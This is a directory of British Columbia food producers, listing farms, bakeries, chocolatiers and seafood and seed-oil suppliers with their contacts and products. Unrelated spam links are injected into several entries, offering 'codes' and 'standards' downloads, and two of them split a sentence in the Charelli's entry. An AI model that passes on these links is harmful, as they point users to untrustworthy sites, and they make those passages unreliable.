**Email:** [moorebc@shaw.ca](mailto:moorebc@shaw.ca)

**Website:** Unavailable

**Address:**

5089 Canyon-Lister Road

Canyon, BC

V0B 1C1

**Regions Supplied:**

- Kootenay

**Company Notes:**

We are a family-operated organic farm. We sell to retail outfits, as well as gate sales.

**Products Available:**

Organic Carrots - Fall, Winter, Summer

No description available

Organic Potatoes - Fall, Winter, Summer

No description available

Organic Beets - Fall, Winter, Summer

No description available

Organic Parsnips - Fall, Winter, Summer

No description available

Organic Onions - Fall, Winter, Summer

No description available

Organic Squash - Fall, Winter, Summer

No description available

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## Caramoomel Products Incorporated - 888-765-0574

**Contact:** Anne Hatcher

**Toll Free:** Unavailable

**Phone:** 888-765-0574

**Cell:** Unavailable

**Fax:** 250-765-8528

**Email:** [caramoomel@telus.net](mailto:caramoomel@telus.net)

**Website:** [www.caramoomel.com](http://www.caramoomel.com)

### **Address:**

2105 Morrison Road

Kelowna, BC

V1X 4W4

### **Regions Supplied:**

- Thompson/Okanagan
- Kootenay
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

### **Company Notes:**

Caramoomel Spreads & Sauces "Inspired by Family Tradition Created with Wholesome Quality To serve the World Delectable Goodness"

All of our products are all natural, no artificial flavours or colours, all of them are Hand-crafted on our Facility on our farm in Kelowna, BC. All our labels are family designed.

All of our food creations are all natural, no artificial flavours or colours, all of them are Hand-crafted on our Facility on our farm in Kelowna, BC.

### **Products Available:**

#### Veggie Caviar - Year Round

We have the North American trademark on the name of our best selling all natural original family recipe vegetable spread. It is a wonderful zesty combination of 7 locally grown vegetables (5 grown on our own farm) Tomatos, Carrots, Zucchini, Bell Peppers, Eggplant, Beets, Garlic blended with Vinegar, Herbs and Spices. Veggie Caviar can be enjoyed on its own from the jar or used in recipes, like dips, pastas, fish, chicken you name it. 40 cases of 12 jars per batch Hand-crafted on our Facility on our farm in Kelowna, BC. All our labels are family designed. This product is available in 250ml & 125ml sizes.

#### Garlic Eggplant Spread - Year Round

A unique original recipe creamy tasty all natural spread made from our own grown eggplants and garlic combined with vinegar, herbs and spices. This product can be enjoyed on its own from the jar or used in recipes, like dips, pastas, fish, chicken, beef, on crackers plus more. 40 cases of 12 jars per batch Hand-crafted on our Facility on our farm in Kelowna, BC. All our labels are family designed. This product is available in 250ml & 125ml sizes.

#### Hot Garlic Pepper Wine Jelly - Year Round

This product is an original family recipe that has wonderful levels of flavour. Sweet, Garlic, Spicy flavours add up this terrific wine jelly. We use local wine makers for our wine products and locally grown vegetables. Hot Garlic Pepper wine jelly is great for Asian inspired dishes, chicken, fish, ham, pork, on a bagel, toast, endless possibilities. 40 cases of 12 jars per batch Hand-crafted on our Facility on our farm in Kelowna, BC. All our labels are family designed. This product is available in 250ml & 125ml sizes.

#### Apple Butter - Year Round

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This is our family recipe which has been a popular hit with family, friends and clients alike. All natural ingredients ,we use our own apples,locally produced honey, cinnamon, pectin and citric acid. This Apple butter is creamy, sweet like eating apple pie in a spread. Lovely on toast, with pork, ham, salmon, tons of recipe ideas can be found on our website or by request. 40 cases of 12 jars per batch Hand-crafted on our Facility on our farm in Kelowna, BC. All our labels are family designed. This product is available in 250ml & 125ml sizes.

#### Hot Ginger Apple Butter - Year Round

All natural ingredients ,we use our own apples,locally produced honey, ginger, cinnamon, hot pepper, pectin and citric acid. This Apple butter is creamy, sweet like eating apple pie with a zesty kick. Lovely on toast, with pork, ham, salmon, tons of recipe ideas can be found on our website or by request. 40 cases of 12 jars per batch Hand-crafted on our Facility on our farm in Kelowna, BC. All our labels are family designed. This product is available in 250ml & 125ml sizes.

#### Wine Lover's Dark Chocolate Wine Sauce with Merlot - Year Round

A delicious elegant sauce, delicately combining the best Dark Belgian chocolate with a robust Merlot wine made by Okanagan wine makers.This is quickly becoming a much on demand sauce. An original recipe by Antonia Dudka, founder of Caramoomel Products. It is wonderful for desserts, coffee, fruit. Hand-crafted bottle per bottle, we create this sauce by order. Made on our facility on our farm in Kelowna, BC. All our labels are family designed. This product is available in 200ml size bottles.

#### Wine Lover's White Chocolate white Riesling Wine Sauce - Year Round

An original recipe by Antonia Dudka, founder of Caramoomel Products.Combining the best White Belgian chocolate with a crisp Riesling wine made by Okanagan wine makers. It is wonderful for desserts, coffee, fruit. Hand-crafted bottle per bottle, we create this sauce by order. Made on our facility on our farm in Kelowna, BC. All our labels are family designed. This product is available in 200ml size bottles.

#### Maple Jelly - Year Round

Original recipe, we use high grade Quebec Maple Syrup to bring our clients this sweet, smooth maple jelly. available in 125ml jars.

#### Caramel Spreads - Year Round

A line of family recipes, creamy caramel spreads made primarily with milk treated with lactase for dairy sensitive diets. Original Caramel, Belgian Chocolate Caramel, Chocolate Raspberry Caramel and Chocolate Grand Marnier finishes of this wonderful decadent line of caramel spreads inspired by Dulce de Leche. Available in 125ml & 250ml jars.

#### Coffee Lover's Caramel Sauce - Year Round

The best Caramel sauce ever! Antonia\'s take on caramel takes a new height with this addictive sauce. Just fabulous on ice cream, desserts, fruit and of course coffee. available in 200ml bottles.

#### Cherry Wine Jam - Year Round

Using our own cherries and local red wine, we make this tasty jam. Available in 250ml & 125ml jars.

#### Wine Jellies - Year Round

Pinot Noir, Pinot Gris, Blush and Mulled wine jellies have been praised by our clients as the best wine jellies time and time again. We do not use any preservatives, additives or artificial colours in any of our products. We prefer the natural colours of our award winning local wines to make our wine jellies stand out. Hand-crafted available in 125ml jars.

#### Ice Wine Jelly - Year Round

Crisp, Sweet, Fresh wine jelly made with a true locally made Ice Wine. Available in 55ml jars.

#### Golden Millenium Wine Jelly - Year Round

Another version of our whitewine jelly combined with 24k Gold FLakes that are delicately suspended in the clear beautiful locally produced white wine. 24k Gold is the only metal absored by the body and it adds a festive flair to this wine jelly. Available in 125ml jars.





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## Cascadia Bakery - 250-380-6606

**Contact:** Zoe O'Doherty

**Toll Free:** Unavailable

**Phone:** 250-380-6606

**Cell:** Unavailable

**Fax:** 250-598-9523

**Email:** [cascadiabakery@shaw.ca](mailto:cascadiabakery@shaw.ca)

**Website:** Unavailable

### **Address:**

1812 Government Street

Victoria, BC

V8T 4N5

### **Regions Supplied:**

- Vancouver Island & Gulf Islands

### **Company Notes:**

All products are made with 100% all-natural ingredients. Breads are hand formed, made with 100% organic whole grain flours. Wholesale prices are available. We also supply a large selection of cookies, bars and cakes. Vegan and wheat-free options are also available.

### **Products Available:**

#### Hand Mixed Muffins - Year Round

Several varieties baked fresh daily. Blueberry Wheatgerm, Apricot Oat, Raspberry Streusel, and many others.

#### Rosemary Garlic Focaccia -

Hand rolled with fresh rosemary and olive oil. Makes great paninis or soup bread, does not require butter or extra oil. Approximate weight 545 grams.

#### Sourdough & Wholewheat Sourdough - Year Round

Hand formed, made with 11-year-old starter for that real sourdough flavour. 650 grams.

#### Vegan Brownies - Year Round

One of our top sellers. A delicious fudgy brownie made without animal products.

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## Ceres Canadian Food Products Ltd. - 250-493-4869

**Contact:** Juan Eduardo Cacace

**Toll Free:** Unavailable

**Phone:** 250-493-4869

**Cell:** Unavailable

**Fax:** 250-493-4869

**Email:** [info@ceresoils.com](mailto:info@ceresoils.com)

**Website:** [www.ceresoils.com](http://www.ceresoils.com)

**Address:**

127, 1458 Penticton Ave.

Penticton, BC

V2A 8L3

**Regions Supplied:**

**Company Notes:**

Ceres Seed Oils is committed to consistently provide better alternatives to health-conscious consumers through our lines of natural, and highly nutritive cold pressed, unrefined oils.

[free codes in PDF versions](https://www.pdfreeu.com/)

**Products Available:**

No products listed.

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## Ceres Canadian Food Products Ltd. - 250-493-4869

**Contact:** Juan Eduardo Cacace

**Toll Free:** Unavailable

**Phone:** 250-493-4869

**Cell:** Unavailable

**Fax:** 250-493-4869

**Email:** [info@ceresoils.com](mailto:info@ceresoils.com)

**Website:** [www.ceresoils.com](http://www.ceresoils.com)

**Address:**

127, 1458 Penticton Ave.

Penticton, BC

V2A 8L3

**Regions Supplied:**

- Thompson/Okanagan

**Company Notes:**

Ceres Seed Oils is committed to consistently provide better alternatives to health-conscious consumers through our lines of natural, and highly nutritive cold pressed, unrefined oils.

**Products Available:**

Sunflower Seed Oil - Year Round

Our Sunflower Seed Oil is cold pressed, and as an unrefined Oil are mechanically pressed from the seed without using toxic solvents. We do not use pre-treatments such as steam or heat before pressing preserving the flavour and nutritional value of our oils. Oils are unrefined so the flavor, color and fragrance are more pronounced. Protects unrefined oils and polyunsaturated fatty acids during processing and storage to avoid oxidation and extend shelf life. Available in bottles of 500mL and 750mL for retail market and in also pails of 20L.

Pumpkin seed oil - Year Round

Our Pumpkin Seed Oil, is cold pressed, and as an unrefined Oil are mechanically pressed from the seed without using toxic solvents. We do not use pre-treatments such as steam or heat before pressing preserving the flavour and nutritional value of our oils. Oils are unrefined so the flavor, color and fragrance are more pronounced. Protects unrefined oils and polyunsaturated fatty acids during processing and storage to avoid oxidation and extend shelf life. Available in bottles of 500mL and 750mL for retail market and in also pails of 20L.

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## Charelli's Delicatessen & Catering - 250-598-4794

**Contact:** Carmen Lassooij  
**Toll Free:** Unavailable  
**Phone:** 250-598-4794  
**Cell:** Unavailable  
**Fax:** Unavailable  
**Email:** [info@charellis.com](mailto:info@charellis.com)  
**Website:** [www.charellis.com](http://www.charellis.com)

**Address:**  
2863 Foul Bay Road  
Victoria, BC  
V8R 5G5

**Regions Supplied:**  
- Vancouver Island & Gulf Islands

### Company Notes:

Charelli's Delicatessen is the biggest smallest cheese shop in Victoria! Within our 300 square feet we offer the largest selection of cheeses and specialty food items from around the world. And we want more! With deep European roots, we pride ourselves in providing the highest quality products and a service second to none. From the moment you walk through the door of Charelli's, you'll feel and smell the old European Charm. Our goal with all of our items is to achieve a level of quality and uniqueness that [ISPE codes for sale](https://www.techdescription.com/)  
simply cannot be found in a supermarket. If you long for that long-lost childhood taste or fancy eating an unpronounceable delicacy, just ask Carmen or Nicole and experience [IEEE standards online](https://www.codessaler.com/)  
the magic of flavours.

### Products Available:

#### Moonstruck Cheeses - Year Round

Locally produced cheese products from Saltspring Island

#### Little Qualicum Cheeses - Year Round

Locally produced cheese products from Vancouver Island

#### Natural Pastures Cheeses - Year Round

Locally produced cheese products from Vancouver Island

#### The Fishery - Year Round

Locally produced seafood items from Saltspring Island

#### The Cannery - Year Round

Locally produced seafood items from British Columbia

#### Bella Biscottini - Year Round

Savoury Biscotti from Victoria, British Columbia

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Bonnie Bea's Oat Cakes -

Organically made oat cakes from Victoria, British Columbia.

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## Chinook Condiments - 250-300-0996

**Contact:** Chris Cooksey

**Toll Free:** Unavailable

**Phone:** 250-300-0996

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [chris@chinookcondiments.com](mailto:chris@chinookcondiments.com)

**Website:** [www.chinookcondiments.com](http://www.chinookcondiments.com)

**Address:**

3815 Tillicum Crt.

Kelowna, BC

V1W 4E7

**Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

**Company Notes:**

**Products Available:**

Chipotle Chinook Gourmet Sauce - SpicyThis - Year Round

SpicyThis is our original recipe. It's a unique flavour that we have tweaked over the years. It originates from Mexico City. This is considered a condiment like sauce. When you taste it, it welcomes you with a sweet note, followed by warm heat slightly smokey that has a delayed type effect. It is a very versatile product to be consumer hot or my preference cold, over hot food. Our product has not powders, nor preservatives and has been rated gluten free. We can offer 4L food service jugs all year. Available as well in 350 mL glass bottles.

Chipotle Chinook Gourmet Sauce - MildThis - Year Round

MildThis flavour of our sauce has half the weighted formula of the Chipotle in Adobo. It subjectively come across slightly sweeter. We called it mild for those that like some heat in their food. It is not a boring mild. We also carry this in 4L food service jugs all year. Available as well in 350 mL glass bottles.

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## Cocoa West Chocolatier - 604-947-2996

**Contact:** Joanne Mogridge

**Toll Free:** Unavailable

**Phone:** 604-947-2996

**Cell:** Unavailable

**Fax:** 604-947-2997

**Email:** [contact@cocoawest.com](mailto:contact@cocoawest.com)

**Website:** [www.cocoawest.com](http://www.cocoawest.com)

### **Address:**

581C Artisan Lane

Bowen Island, BC

V0N 1G2

**Regions Supplied:** All of BC

### **Company Notes:**

In our chocolate cafe on Bowen Island, Cocoa West created inspired organic chocolate in the artisan tradition. We use only certified organic ingredients, with no preservatives or artificial flavours. Our hot chocolates are made of whole, not powdered, chocolate for a smooth, rich taste and exotic aroma. We use only fair trade and carefully selected ingredients to ensure ethical treatments of all key stakeholders. Chocolatier in the mastery of chocolate making. Services retail, corporate, wedding, gift, film, delivery sectors.

### **Products Available:**

#### Signature Organic Hot Chocolate - Year Round

A gratifying blend of milk and dark organic chocolate and distinctive aromatic spices. Made of whole, not powdered, chocolate for a smooth, rich taste and exotic aroma. Produced in small batches in our chocolate cafe on Bowen Island from a family recipe. 200 g (7 oz) net wt. can yield about 6 servings. Unit measures 2-1/2 in dia x 7 in; case of 9 units.

#### Poblano Organic Hot Chocolate - Year Round

Named for the city of Puebla, Mexico, this spicy chocolate is a rustic blend of dark and milk chocolate embellished with the tingly warmth of Mexican chilies. Made of whole, not powdered, chocolate for a smooth, rich taste and exotic aroma. Produced in small batches in our chocolate cafe on Bowen Island from a family recipe. 200 g (7 oz) net wt. can yield about 6 servings. Unit measures 2-1/2 in dia x 7 in; case of 9 units.

#### Organic Cocoa Powder - Year Round

Our fine, organic cocoa powder is perfect for many kinds of baking, hot chocolate drinks, or dusting on desserts. 125 g (4.4oz) net wt., unit measures 2-1/2 in dia x 7 in; case of 9 units.

#### Chocolate Truffles - Year Round

All chocolate truffles use certified organic ingredients. Contains no artificial flavours or preservatives. If contains cream it is recommended to enjoy within 10 days; if cream and alcohol, enjoy within 18 days; No cream enjoy within 3 months. May contain nuts. Also offer boutique style accommodations adjacent to the production facility.



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## Copeland Foods Ltd. - 604-946-7581

**Contact:** Vinay Bahia

**Toll Free:** Unavailable

**Phone:** 604-946-7581

**Cell:** Unavailable

**Fax:** 604-946-7570

**Email:** [info@copelandfoods.com](mailto:info@copelandfoods.com)

**Website:** Unavailable

**Address:**

8 - 7550 River Road  
Delta, BC

**Regions Supplied:**

- Peace
- North Coast
- Thompson/Okanagan
- Kootenay
- Vancouver/Mainland

**Company Notes:**

Gourmet dinners, snacks, marinades and seasonings

**Products Available:**

Meat Pies - Year Round

Pepperoni and cheese meat pies

Soup Stock - Year Round

No description available

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## Cowichan Valley Organic Farms - 250-748-8089

**Contact:** David Wiebe

**Toll Free:** Unavailable

**Phone:** 250-748-8089

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [DavidW3@telus.net](mailto:DavidW3@telus.net)

**Website:** Unavailable

**Address:**

6182 Lakes Road

Duncan Road, BC

V9L 4J5

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

Cowichan Valley Organic Farms, situated one hour north of Victoria, lies on the outskirts of Duncan. The valley is renowned for its fertile soils and excellent climate as denoted by the name Cowichan (Warmland). The climate is conducive to growing to maturity hot weather crops such as peppers, melons, tomatoes and others. Cowichan Valley Organic Farms, is an Islands Organic Producers Association (IOPA) member in good standing and has been certified organic since 1998. We have been providing quality organic produce to restaurants, grocery stores and home delivery programs in the Cowichan and Victoria areas for the past eight years and look forward to expanding our production and market. We love what we do.

**Products Available:**

Strawberries - Summer

Certified Organic - Seasonal

Broccoli - Summer

Certified Organic - Seasonal

Cauliflower - Summer

Certified Organic - Seasonal

Carrots - Fall,Summer

Certified Organic - Seasonal

Radishes - Summer

Certified Organic - Seasonal

Peas - Summer

Certified Organic - Seasonal

Potatoes - Fall,Summer

Certified Organic - Seasonal

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Squash - Fall,Summer

Certified Organic - Seasonal

Pumpkins - Fall,Summer

Certified Organic - Seasonal

Beets - Fall,Summer

Certified Organic - Seasonal

Lettuce - Spring,Summer

Certified Organic - Seasonal

Tomatoes - Fall,Summer

Certified Organic - Seasonal

Peppers - Fall,Summer

Certified Organic - Seasonal

English Cucumbers - Fall,Summer

Certified Organic - Seasonal

Basil - Spring,Summer

Certified Organic - Seasonal

Melons - Fall,Summer

Certified Organic - Seasonal

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## Currie Creek Ranch - 250-748-9653

**Contact:** Melissa Collins

**Toll Free:** Unavailable

**Phone:** 250-748-9653

**Cell:** Unavailable

**Fax:** 250-748-9683

**Email:** [info@curriecreekranch.ca](mailto:info@curriecreekranch.ca)

**Website:** [www.curriecreekranch.ca](http://www.curriecreekranch.ca)

### **Address:**

4470 Cowichan Lake Road

Duncan, BC

V9L 6J8

### **Regions Supplied:**

- Vancouver Island & Gulf Islands

### **Company Notes:**

Currie Creek Ranch raises free range, all-veggie-fed poultry (chickens, Cornish game hens, and turkey). We also offer free range, large brown eggs from all-veggie-fed chickens. We raise all of our birds in a natural environment on 10 acres offering lots of lush pasture. We focus on the quality of life of all of our birds and they are kept meticulously clean and healthy. We are also open to raising free range, all-veggie-fed duck, quail, and/or geese if there is sufficient interest!

<https://www.pdfonlinesource.com/>>NBB codes download</a><br>

### **Products Available:**

#### Frying and Roasting Chickens - Year Round

Free range, all-veggie-fed frying and roasting chickens. Our birds are raised in a natural environment with no medications in the feed and no animal by-products. We focus on quality of life with all of our birds. They are given free access to outdoors and lush pastures and are kept clean and healthy throughout their lives. Our birds are tender, juicy, and very popular! Some of our current clients include the luxury Salt Spring Island Hasting House Resort. Fresh chickens are available from April-October. Frozen chickens are available year round.

#### Cornish Game Hens - Year Round

Free range, all-veggie-fed Cornish Game Hens. Our birds are raised in a natural environment with no medications in the feed and no animal by-products. We focus on quality of life with all of our birds. They are given free access to outdoors and lush pastures and are kept clean and healthy throughout their lives. Our Cornish Game Hens are butchered at 4-5 weeks for the ultimate in tenderness and flavour. Some of our current clients include the luxury Salt Spring Island Hasting House Resort. Our Cornish Game Hens are available fresh from April-October. Frozen Cornish Game Hens are available year round.

#### Turkey - Fall,

Free range, all-veggie-fed Broad-Breasted Bronze turkeys. The Broad Breasted Bronze is a heritage breed and offers large tender breasts and exceptional flavour! Our turkeys are raised in a natural environment with no medications in the feed and no animal by-products. We focus on quality of life with all of our birds. They are given free access to outdoors and lush pastures and are kept clean and healthy throughout their lives. Our turkeys are ready fresh for Thanksgiving and we also have frozen turkey available year round.

#### Eggs - Year Round

We also have large brown eggs available from free range, all-veggie-fed chickens. Our layers have access to 10 acres to roam and product excellent quality large-sized eggs.



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## Delia & Scott Remple - 250-830-8533

**Contact:** Delia & Scott Remple

**Toll Free:** Unavailable

**Phone:** 250-830-8533

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [scottdelia@pocketmail.com](mailto:scottdelia@pocketmail.com)

**Website:** Unavailable

### **Address:**

General Delivery

Refuge Cove, BC

V0P 1P0

### **Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

Two of our challenges in life were how to live lightly on this beautiful blue planet and how to do something worthwhile. Shellfish aquaculture has enabled us to meet these challenges. We have refined our farming methods to be compatible with the environment. We maintain genetic diversity by collecting wild seed, and the oyster rafts act as nursery reefs for a wide range of fish, algae, and invertebrates.

Our oysters and clams feed only on naturally-occurring marine plankton. No chemicals, pesticides, or colouring agents are used in the growing of our shellfish. The blend of growing healthy, top-quality shellfish and living the outdoor marine lifestyle is one we truly enjoy. Our commitment is to provide premium-quality shellfish for your enjoyment; and to do so in a manner that allows future generations the same opportunity.

### **Products Available:**

#### Pacific Oysters - Beach Oysters - Year Round

Our oysters have a firm flesh, with a sweet, salty flavour highlighting a pleasant cucumber aftertaste. Beach oysters are hard shelled and have a good shelf life. Our beach oysters are delicious barbecued, in a chowder, as part of an ethnic dish or eaten raw on the halfshell. Oysters are sold by the dozen and the price varies with the size requested. The sizes range from extra small (2-3") to large (5-5.5"). Weekly orders of up to 100 dozen or more are available.

#### Pacific Oysters - Deepwater Oysters - Year Round

These oysters have a milder flavour and a lighter shell than beach-grown oysters and have plump, ivory coloured meat. Our deepwater oysters are ideal for baking, on the grill, in a chowder, or as part of a seafood dish. Oysters are sold by the dozen, and the price varies with the size requested. The sizes available range from mediums (4-4.5") to extra large (5.5"+). Weekly orders of up to 100 dozen or more are available.

#### Pacific Oysters - Shucking Oysters - Year Round

Shucking oysters come in a variety of shapes and sizes. They are ideal for chowders, stuffings, and other oyster dishes. They are sold by volume rather than by the dozen.

#### Manila Clams - Year Round

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These are medium-sized clams. Their shell ranges from 3 cm (1.25") to 5 cm (2.0") and has an oblong shape. The shell is typically cream coloured, but can be quite colourful, with many patterns. Our manila clams are wonderful in a pasta dish or chowder. They are especially tasty when dipped in garlic butter. Weekly orders of up to 150 lbs are available.

#### Littleneck Clams - Year Round

These clams are one of the smaller species native to the Pacific Northwest. Their shell ranges in size from 3 cm (1.25") to 5 cm (2.0"). Littleneck clams are usually cream coloured, but can be adorned with attractive brown patterns, reminiscent of native art. Littleneck clams have a robust flavour, and are a wonderful base for seafood cuisine. Weekly orders of up to 150 lbs are available.

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## Direct Organics Plus - 250-499-5233

**Contact:** Julie Duchesneau

**Toll Free:** Unavailable

**Phone:** 250-499-5233

**Cell:** Unavailable

**Fax:** 250-499-5077

**Email:** [orgplus@nethop.net](mailto:orgplus@nethop.net)

**Website:** [directorganicsplus.com](http://directorganicsplus.com)

**Address:**

2068 Main St.

Cawston, BC

V0X 1C1

**Regions Supplied:** All of BC

**Company Notes:**

Run by farmers for farmers. Owned and operated by two of the original organic farming families in the area.

**Products Available:**

Tree Fruits - Fall, Winter, Summer

Tree Fruits.:Cherries: many varieties including older ones like Bings and Vans.Apricots: several varieties including Tomcots as well as later varieties. Volumes of process apricots are available during the latter part of the season.Peaches: many varieties including PF-1\'s which are very early. Process peaches available.Plums: many varieties; Siro, Santa Rosa, Friar, Elephant Heart, Early and Late Italian and others. Process plums available all summer and fall.Pears: many varieties including Asian Pears, Bronze Beauty, Flemish, Bartlett, D\'Anjou, Red Bartlett and others.Apples: both very early and very late varieties. Many Heirloom and Cider varieties, some rare.

Organic Vegetables - Fall, Summer

Supplied to our Company by Organic Growers in the area. We carry most summer vegetables including Tomatoes, Peppers Garlic and Squash



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## Dold Enterprises Ltd. (ReinGold Coffee) - 604-435-1018

**Contact:** Reinhold Plettner

**Toll Free:** Unavailable

**Phone:** 604-435-1018

**Cell:** Unavailable

**Fax:** 604-435-2097

**Email:** [rplettner@telus.net](mailto:rplettner@telus.net)

**Website:** [www.reingold.ca](http://www.reingold.ca)

**Address:**

8988 Fraserton Court - Unit 208/209

Burnaby, BC

V5J 5H8

**Regions Supplied:**

- North Coast
- Thompson/Okanagan
- Kootenay
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

**Company Notes:**

All coffee is certified organically-grown from 100% Arabica beans. Coffee is available in eight different roasts/blends.

**Products Available:**

ReinGold Gourmet Coffee - Year Round

Featuring small-batch dry roasting, our coffee is offered in eight different roasts/blends. Decaffeinated coffee is processed by the Swiss Water Process (100% chemical free). Sizes: 5 lb (2.27 kg), 2 lb (908 g), 10.5 oz (300 g) or 8.8 oz (250 g).

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## E-Fish-Ent Fish Company - 250 642 4007

**Contact:** Bryan Mooney

**Toll Free:** Unavailable

**Phone:** 250 642 4007

**Cell:** Unavailable

**Fax:** 250 642 4057

**Email:** [bryan@e-fish-ent.ca](mailto:bryan@e-fish-ent.ca)

**Website:** [www.e-fish-ent.ca](http://www.e-fish-ent.ca)

### **Address:**

1941 Goodridge Rd

Sooke, BC

V0S 1N0

**Regions Supplied:** All of BC

### **Company Notes:**

E-Fish-Ent Fish Company Ltd. is a seafood processing business located on the West Coast of Vancouver Island in beautiful British Columbia, Canada. Our plant is federally licensed and inspected. An ongoing testing and sampling program by the Canadian Department of Fisheries and Oceans is in place for quality control (HACCP). Our products are of an all-natural origin without any added preservatives or artificial substances. Our salmon fillets are handled with utmost care, using the best ingredients available. All of our fish have been individually selected, hand cut, and hand packaged. We strive to maintain the highest possible standards. The salmon is smoked with locally grown wood for a great smoke flavor in the traditional style of the Canadian West Coast. Custom processing: We have a specialty processing and canning facility where we are able to prepare and thermally process fruits, vegetable sauces, meats or seafood. We are primarily interested in doing custom processing work and do very little in direct sales. Please see our website for more information or give us a call.

### **Products Available:**

#### Smoked Salmon - Year Round

It is smoked salmon, preserved in its own juices in a flexible gold foil "can," and needs no refrigeration until opened. These retort packages are great gifts and can be mailed around the world. They have a shelf life of at least five years. 4 oz, 8 oz Pink or Sockeye foil packs are available.

#### Salmon Candy - Year Round

Salmon candy is a thick strip of salmon, which has been salted and sweetened and then smoked, creating a chewy sweet delicacy. Awesome treat! Product is fresh-frozen and vacuum packed.

#### Smoked Salmon Pate - Year Round

Our Smoked Salmon Pate is fresh-frozen and vacuum packed.

## Eagle River Organics - 250-836-4333

**Contact:** Linda Kucera/WM.Dyck

**Toll Free:** Unavailable

**Phone:** 250-836-4333

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [Unavailable](#)

**Website:** Unavailable

### **Address:**

1754 Trans Canada Hwy.

Sicamous, BC

V0E 2V1

### **Regions Supplied:**

- Thompson/Okanagan
- Kootenay
- Vancouver/Mainland

### **Company Notes:**

Eagle River Organics is a 10-acre farm with six acres in gardens with a large variety of organic vegetables. For markets and quantity buyers with quality as our number one priority.

### **Products Available:**

Fingerling Potatoes - Fall,Summer

2500 - 3000 lbs - Specific siling. Available July 15th (approximately).

Carrots - Fall,Summer

5000 - 10,000 lbs available starting August 15th. Excellent flavor, sweetness and texture that holds long into storage.

Beets - Fall,Summer

5000 lbs. - Available starting August. Early Wonder Beet - Globe-shaped, bunching beets, excellent taste and colour. Cylindra Beet - Great for slicing and dicing; good storage.

Sunchokes - Fall,

500 lbs - Fall harvest, excellent for cooking.

Parsnips - Fall,Winter,Spring,

2000 lbs - Available October through to March; sweet taste. Specific sizing at start of season.

Salsify - Fall,

500 lbs. Delicious flavour; fall harvest.

Grapes - Fall,Summer

Table grapes - Candice and Coronation varieties available. Excellent sweet flavour.

Sugar Pie Pumpkins - Fall,Winter,

400 - 500 lbs. Fall harvest; average size 7" diameter. Excellent for cooking and stores well.

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## Eatmore Sprouts & Greens Ltd. - 250-338-4860

**Contact:** Carmen Wakeling

**Toll Free:** Unavailable

**Phone:** 250-338-4860

**Cell:** Unavailable

**Fax:** 250-334-0216

**Email:** [eatmore@shawbiz.ca](mailto:eatmore@shawbiz.ca)

**Website:** [www.eatmoresprouts.com](http://www.eatmoresprouts.com)

### **Address:**

2604 Grieve Road

Courtenay, BC

V9J 1S7

**Regions Supplied:** All of BC

### **Company Notes:**

Organic sprouts and greens produced by Eatmore Sprouts & Greens Ltd. located in the Comox Valley on Vancouver Island are available throughout Western Canada. Look for us through local distributors and at grocers and restaurants. Enjoy!

We do have a small Organic market garden where this year we produced a large assortment of veggies and herbs. If you are interested in more information about this feel free to contact us.

### **Products Available:**

#### Organic Alfalfa Sprouts - Year Round

Certified by PACS #16-084 Ingredients: Organic Alfalfa seed Alfalfa sprouts are sold in 100g PET packages and 2# bulk PET trays. Alfalfa sprouts are a crunchy fresh addition to your diet or menu year round. We love them added to sandwiches, salads or blended in smoothies. Alfalfa sprouts are great added to soups (at the last minute) or used to top hot dishes such as baked potatoes or casseroles. Do not over cook.

#### Organic Deli Sprouts - Year Round

Certified by PACS #16-084 Ingredients: Organic Alfalfa seed; organic mustard, organic lentil, and organic radish seed. Deli sprouts are sold in 100g PET packages and 2# bulk PET trays. Deli sprouts are crunchy with a bit of spice. These are my favorite alfalfa blend! We love them added to sandwiches, salads, wraps or wherever else needs a bit of green. Deli sprouts are great added to soups (at the last minute) or used to top hot dishes such as baked veggies especially potatoes (once again, my favorite). Use your imagination. Do not over cook.

#### Garlic Sprouts - Year Round

Certified by PACS #16-084 Ingredients: Organic Alfalfa seed, organic garlic chive seed. Garlic sprouts are sold in 100g PET packages and 2# bulk PET trays. Garlic sprouts are a crunchy slightly garlicky, fresh addition to your diet or menu year round. We love them added to sandwiches, salads or wraps. Garlic sprouts are great added to soups (at the last minute) or folded into omelettes. Do not over cook.

#### Organic Broccoli Sprouts - Year Round

Certified by PACS #16-084 Ingredients: Organic Broccoli seed. Broccoli sprouts are sold in 60g PET packages and 1 or 2# bulk PET trays. Broccoli sprouts are really good for you. These flavorful (they taste a bit like broccoli) sprouts are a great addition to your diet or menu year round. We love them on their own, added to sandwiches, salads or wraps. Broccoli sprouts are great added to soups (at the last minute) or used to top hot dishes such as baked potatoes or casseroles. Amazing mixed into mashed potatoes too! Do not over cook.

#### Organic Clover Sprouts - Year Round

Certified by PACS #16-084 Ingredients: Organic Clover seed Clover sprouts are sold in 100g PET packages and 2# bulk PET trays. Clover sprouts are like a giant alfalfa sprout. They are crunchy and moist and a great addition to any kitchen. We love them added to sandwiches, salads or blended in smoothies. Clover sprouts are great added to soups (at the last minute) or used to top hot dishes such as baked potatoes or casseroles. Do not over cook.

#### Organic Mixed Bean Sprouts - Year Round

Certified by PACS #16-084. Ingredients: Organic Garbanzo Beans, Organic Marrowfat Peas, Organic Red and Green Lentils, Organic Adzuki Beans. Mixed Beans are sold in 225 g PET packages and 3 & 5# bulk bags. Mixed Bean sprouts are a tasty blend of beans and pulses which are packed with nutrition. This crunchy blend is a great addition to your diet or menu year round. We love them in so many ways... added to wraps, salads or marinated. Mixed Bean sprouts are great added to soups, chili, or cooked in rice dishes. Mixed Bean sprouts make a great vegan falafel or burger base. These beans are created to make you stretch your imagination. Enjoy!

#### Organic Sunflower Greens - Year Round

Certified by PACS #16-084 Ingredients: Organic Sunflower Seed Sunflower Greens are sold in 75g PET packages or 1# and 2# bulk bags. Sunflower Greens are a crunchy fresh addition to your diet or menu year round. We love them as a base to salads, added to sandwiches, wraps, omelettes, or blended in smoothies. Sunflower Greens give a wonderful crunch to soups when added at the very last minute. They make a beautiful and elegant garnish. Do not over cook.

#### Organic Pea Shoots - Year Round

